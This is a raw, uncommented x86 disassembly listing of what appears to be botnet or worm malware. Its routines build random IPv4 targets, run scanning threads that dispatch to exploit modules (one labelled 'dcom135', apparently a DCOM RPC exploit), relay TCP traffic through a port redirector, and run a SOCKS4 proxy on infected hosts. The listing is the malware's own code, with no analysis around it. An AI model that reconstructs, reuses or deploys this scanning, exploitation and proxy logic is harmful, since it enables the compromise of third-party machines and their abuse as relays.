ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_417AB0 cmp eax, 0Fh pop ecx jbe short loc_407656 xor eax, eax jmp short loc_4076C7 ; --------------------------------------------------------------------------- loc_407656: ; CODE XREF: sub_40762E+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_418A52 add esp, 18h cmp [ebp+var_C], esi jnz short loc_407683 call sub_41730C mov [ebp+var_C], eax loc_407683: ; CODE XREF: sub_40762E+4Bj cmp [ebp+var_8], esi jnz short loc_407690 call sub_41730C mov [ebp+var_8], eax loc_407690: ; CODE XREF: sub_40762E+58j cmp [ebp+var_4], esi jnz short loc_40769D call sub_41730C mov [ebp+var_4], eax loc_40769D: ; CODE XREF: sub_40762E+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_4076A9 call sub_41730C loc_4076A9: ; CODE XREF: sub_40762E+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_436F18[ecx*8], eax loc_4076C7: ; CODE XREF: sub_40762E+26j pop esi leave retn sub_40762E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4076CA proc near ; CODE XREF: sub_407767+BBp ; sub_40D4C5+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_43AE18 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4076F3 xor eax, eax jmp short loc_407762 ; --------------------------------------------------------------------------- loc_4076F3: ; CODE XREF: sub_4076CA+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_43AD98 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_43AE34 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_43AD40 mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_43AD80 push esi mov edi, eax call dword_43AE30 xor eax, eax cmp edi, ebx setnle al loc_407762: ; CODE XREF: sub_4076CA+27j pop edi pop esi pop ebx leave retn sub_4076CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407767 proc near ; DATA XREF: sub_40797F+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 2610765h push eax call sub_417302 mov ebx, esi pop ecx imul ebx, 234h loc_4077AE: ; CODE XREF: sub_407767+204j mov eax, dword_4407F4[ebx] cmp dword_436F1C[eax*8], 0 jz loc_407970 cmp [ebp+var_10], 0 push eax jz short loc_4077D8 lea eax, [ebp+var_150] push eax call sub_40762E pop ecx jmp short loc_4077DD ; --------------------------------------------------------------------------- loc_4077D8: ; CODE XREF: sub_407767+60j call sub_4075E6 loc_4077DD: ; CODE XREF: sub_407767+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_4407F4[ebx] push [ebp+var_3C] push edi call dword_43AE24 push eax lea eax, [ebp+var_28C] push offset unk_42B3BC push eax call sub_4172B0 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_4405F0[ebx] push eax call sub_4172B0 push [ebp+var_38] push [ebp+var_3C] push edi call sub_4076CA add esp, 14h cmp eax, 1 jnz loc_407960 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4078B4 push offset dword_438F18 call near ptr 77F7E21Fh nop push [ebp+var_3C] push edi call dword_43AE24 push eax lea eax, [ebp+var_28C] push offset unk_42B384 push eax call sub_4172B0 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_407896 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40788A lea eax, [ebp+var_140] loc_40788A: ; CODE XREF: sub_407767+11Bj push eax push [ebp+var_40] call sub_40D679 add esp, 14h loc_407896: ; CODE XREF: sub_407767+100j lea eax, [ebp+var_28C] push eax call sub_40BF6D mov [esp+2A8h+var_2A8], offset dword_438F18 call near ptr 77F7E300h nop jmp loc_407960 ; --------------------------------------------------------------------------- loc_4078B4: ; CODE XREF: sub_407767+D0j push edi call dword_43AE24 push eax lea eax, [ebp+var_208] push eax call sub_4172B0 mov eax, [ebp+var_20] pop ecx imul eax, 3Ch pop ecx add eax, offset aDcom135_0 ; "dcom135" push eax lea eax, [ebp+var_178] push eax call sub_4172B0 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_4078F9 lea eax, [ebp+var_140] loc_4078F9: ; CODE XREF: sub_407767+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_4172B0 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_42ACB4[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_407960: ; CODE XREF: sub_407767+C6j ; sub_407767+148j push 7D0h nop call near ptr 2610F93h jmp loc_4077AE ; --------------------------------------------------------------------------- loc_407970: ; CODE XREF: sub_407767+55j push esi call sub_417078 pop ecx push 0 nop call near ptr 2610356h sub_407767 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40797F proc near ; DATA XREF: sub_40EE72+3300o ; sub_40EE72+5137o var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_43ADD8 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_436F18[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_407252 push 8 call sub_416FA4 add esp, 150h cmp eax, ebx jnz short loc_407A4D mov esi, offset dword_438F18 push esi call near ptr 26E0000h nop push 80000400h push esi nop call near ptr 26D0C01h test eax, eax jnz short loc_407A4D lea eax, [ebp+var_1CC] push offset unk_42B4F0 push eax call sub_4172B0 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_407A37 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407A37: ; CODE XREF: sub_40797F+99j lea eax, [ebp+var_1CC] push eax call sub_40BF6D pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_407A4D: ; CODE XREF: sub_40797F+63j ; sub_40797F+7Fj mov eax, [ebp+var_2C] mov esi, dword_424064 mov edi, ebx mov dword_436F1C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_407B1A loc_407A6B: ; CODE XREF: sub_40797F+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_42B4A8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_416D5C mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_4407F4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_407767 push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_407AE5 loc_407ADA: ; CODE XREF: sub_40797F+164j cmp [ebp+var_4], ebx jnz short loc_407B0C push 1Eh call esi jmp short loc_407ADA ; --------------------------------------------------------------------------- loc_407AE5: ; CODE XREF: sub_40797F+159j nop call near ptr 2650B3Dh push eax lea eax, [ebp+var_1CC] push offset unk_42B45C push eax call sub_4172B0 lea eax, [ebp+var_1CC] push eax call sub_40BF6D add esp, 10h loc_407B0C: ; CODE XREF: sub_40797F+15Ej push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_407A6B loc_407B1A: ; CODE XREF: sub_40797F+E6j cmp [ebp+var_30], ebx jz loc_407BC4 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_407B2F: ; CODE XREF: sub_40797F+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_436F18[eax*8] push eax call dword_43AE24 push eax lea eax, [ebp+var_1CC] push offset unk_42B408 push eax call sub_4172B0 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_407B7D push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407B7D: ; CODE XREF: sub_40797F+1DFj lea eax, [ebp+var_1CC] push eax call sub_40BF6D mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_436F1C[eax*8], ebx call esi push 8 call sub_416FA4 cmp eax, 1 pop ecx jnz short loc_407BB4 push offset dword_438F18 nop call near ptr 26E0000h loc_407BB4: ; CODE XREF: sub_40797F+228j push [ebp+var_2C] call sub_417078 pop ecx push ebx call near ptr 2610356h nop loc_407BC4: ; CODE XREF: sub_40797F+19Ej ; sub_40797F+25Dj mov eax, [ebp+var_2C] cmp dword_436F1C[eax*8], 1 jnz loc_407B2F push 7D0h call esi jmp short loc_407BC4 sub_40797F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BDE proc near ; DATA XREF: sub_40EE72+36DDo var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_43AD98 push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_43AE18 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407D42 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov dword_4407FC[eax], ebx call dword_43ACB4 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43ADC4 test eax, eax jnz loc_407D42 push 0Ah push ebx call dword_43ADC0 test eax, eax jnz loc_407D42 loc_407C88: ; CODE XREF: sub_407BDE+BEj ; sub_407BDE+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_43AE2C mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_407C88 movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_43AE24 push eax lea eax, [ebp+var_34C] push offset unk_42B584 push eax call sub_4172B0 push edi lea eax, [ebp+var_34C] push 10h push eax call sub_416D5C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4407F4[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset loc_407D66 push esi push esi nop call near ptr 2680C08h mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_440804[ecx], eax jz short loc_407D2D loc_407D1A: ; CODE XREF: sub_407BDE+14Dj cmp [ebp+var_2C], esi jnz loc_407C88 push 32h call near ptr 2610F93h nop jmp short loc_407D1A ; --------------------------------------------------------------------------- loc_407D2D: ; CODE XREF: sub_407BDE+13Aj call near ptr 2650B3Dh nop push eax push offset unk_42B538 call sub_40BFE1 pop ecx pop ecx jmp short loc_407D45 ; --------------------------------------------------------------------------- loc_407D42: ; CODE XREF: sub_407BDE+61j ; sub_407BDE+93j ... mov edi, [ebp+arg_0] loc_407D45: ; CODE XREF: sub_407BDE+162j push edi call dword_43AE30 push ebx call dword_43AE30 push [ebp+var_3C] call sub_417078 pop ecx push esi nop call near ptr 2610356h pop edi pop esi pop ebx sub_407BDE endp ; sp-analysis failed loc_407D66: ; DATA XREF: sub_407BDE+11Co push ebp mov ebp, esp mov eax, 1344h call sub_417B30 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_43AE18 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_407F1C push 10h lea eax, [ebp-18h] push edi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_43AD98 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_407DF6 lea eax, [ebp-13Ch] push eax call dword_43AE1C jmp short loc_407E04 ; --------------------------------------------------------------------------- loc_407DF6: ; CODE XREF: ___:00407DE5j push 2 lea eax, [ebp-8] push 4 push eax call dword_43AD50 loc_407E04: ; CODE XREF: ___:00407DF4j cmp eax, edi jz loc_407F1C mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_407F1C movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_43AE24 push eax lea eax, [ebp-344h] push offset unk_42B62C push eax call sub_4172B0 push esi lea eax, [ebp-344h] push 10h push eax call sub_416D5C imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_4407FC[ebx] mov dword_4407F4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_440800[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_407F4D push edi push edi call near ptr 2680C08h nop mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_440804[ecx], eax jz short loc_407F09 loc_407EB6: ; CODE XREF: ___:00407EC3j cmp [ebp-20h], edi jnz short loc_407EC5 push 32h nop call near ptr 2610F93h jmp short loc_407EB6 ; --------------------------------------------------------------------------- loc_407EC5: ; CODE XREF: ___:00407EB9j mov ebx, 1000h loc_407ECA: ; CODE XREF: ___:00407F05j push ebx lea eax, [ebp-1344h] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_43ADB0 cmp eax, edi jle short loc_407F1C push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_407ECA jmp short loc_407F1C ; --------------------------------------------------------------------------- loc_407F09: ; CODE XREF: ___:00407EB4j nop call near ptr 2650B3Dh push eax push offset unk_42B5DC call sub_40BFE1 pop ecx pop ecx loc_407F1C: ; CODE XREF: ___:00407DAAj ; ___:00407E06j ... mov eax, [ebp-4] imul eax, 234h push dword_4407FC[eax] call dword_43AE30 push dword ptr [ebp+8] call dword_43AE30 push dword ptr [ebp-4] call sub_417078 pop ecx push edi call near ptr 2610356h nop pop edi pop esi pop ebx loc_407F4D: ; DATA XREF: ___:00407E96o push ebp mov ebp, esp mov eax, 1128h call sub_417B30 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_407F84: ; CODE XREF: ___:00407FC9j push edi lea eax, [ebp-1128h] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_440800[esi] call dword_43ADB0 test eax, eax jle short loc_407FCB push 0 push eax lea eax, [ebp-1128h] push eax push dword_4407FC[esi] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_407F84 loc_407FCB: ; CODE XREF: ___:00407FAEj push dword_440800[esi] call dword_43AE30 push dword ptr [ebp-14h] call sub_417078 pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h dd 220836Eh ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407FEA proc near ; DATA XREF: sub_40EE72+5E51o var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp+var_14], 2 push [ebp+var_40] call dword_43AD98 push 6 push edi push 2 mov word ptr [ebp+var_14+2], ax mov [ebp+var_10], esi call dword_43AE18 mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_4407FC[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_43ADC4 test eax, eax jnz loc_40818C push 0Ah push edi call dword_43ADC0 test eax, eax jnz loc_40818C push [ebp+var_40] push [ebp+var_D4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2D4] push offset unk_42B75C push eax call sub_4172B0 add esp, 10h cmp [ebp+var_30], esi jnz short loc_4080C5 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4080C5: ; CODE XREF: sub_407FEA+B9j ; sub_407FEA+172j ... lea eax, [ebp+var_2D4] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_43AE2C push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_43AE24 push eax lea eax, [ebp+var_2D4] push offset unk_42B708 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2D4] push 11h push eax call sub_416D5C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4407F4[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset loc_4081EF push esi push esi nop call near ptr 2680C08h mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_440804[ecx], eax jz short loc_40816C loc_408159: ; CODE XREF: sub_407FEA+180j cmp [ebp+var_28], esi jnz loc_4080C5 push 5 nop call near ptr 2610F93h jmp short loc_408159 ; --------------------------------------------------------------------------- loc_40816C: ; CODE XREF: sub_407FEA+16Dj nop call near ptr 2650B3Dh push eax lea eax, [ebp+var_2D4] push offset unk_42B6C0 push eax call sub_4172B0 add esp, 0Ch jmp loc_4080C5 ; --------------------------------------------------------------------------- loc_40818C: ; CODE XREF: sub_407FEA+7Bj ; sub_407FEA+8Cj push edi call dword_43AE30 push [ebp+var_40] lea eax, [ebp+var_2D4] push offset unk_42B680 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4081CF push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4081CF: ; CODE XREF: sub_407FEA+1C3j lea eax, [ebp+var_2D4] push eax call sub_40BF6D push [ebp+var_3C] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610356h pop edi pop esi pop ebx loc_4081EF: ; DATA XREF: sub_407FEA+14Fo push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_4407FC[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_43AD80 test eax, eax jnz short loc_408270 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx call near ptr 2610356h nop loc_408270: ; CODE XREF: sub_407FEA+26Cj push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_43ADB0 test eax, eax jg short loc_4082A1 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 2610356h loc_4082A1: ; CODE XREF: sub_407FEA+29Dj cmp [ebp+var_4D0], 4 jnz loc_40849B cmp [ebp+var_4CF], 1 jnz loc_40849B cmp [ebp+var_44], bl jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset unk_42B830 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_417330 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 2610356h loc_408337: ; CODE XREF: sub_407FEA+2D4j ; sub_407FEA+2EAj push 10h lea eax, [ebp+var_18] push ebx push eax call sub_417330 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4083CF call dword_43AD2C push eax push offset unk_42B7E4 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 2610356h loc_4083CF: ; CODE XREF: sub_407FEA+386j lea eax, [ebp+var_18] push 10h push eax push edi call dword_43AD40 cmp eax, 0FFFFFFFFh jnz short loc_40843E call dword_43AD2C push eax push offset unk_42B794 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx call near ptr 2610356h nop loc_40843E: ; CODE XREF: sub_407FEA+3F5j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_417330 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] push edi call sub_4084B3 pop ecx pop ecx push edi call dword_43AE30 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 2610356h loc_40849B: ; CODE XREF: sub_407FEA+2BEj ; sub_407FEA+2CBj push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 2610356h sub_407FEA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084B3 proc near ; CODE XREF: sub_407FEA+48Bp var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4084C9: ; CODE XREF: sub_4084B3+C5j ; sub_4084B3+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4084E1: ; CODE XREF: sub_4084B3+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4084F1 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4084E1 loc_4084F1: ; CODE XREF: sub_4084B3+33j cmp ecx, 1 jnz short loc_408506 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_408506: ; CODE XREF: sub_4084B3+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_43AD80 lea eax, [ebp+var_104] push eax push ebx call dword_43AC90 test eax, eax jz short loc_408566 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_43ADB0 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_4085AE loc_408566: ; CODE XREF: sub_4084B3+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_43AC90 test eax, eax jz loc_4084C9 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_43ADB0 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz loc_4084C9 loc_4085AE: ; CODE XREF: sub_4084B3+9Aj ; sub_4084B3+B1j ... pop edi pop esi pop ebx leave retn sub_4084B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085B3 proc near ; CODE XREF: sub_40EE72+45AFp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h 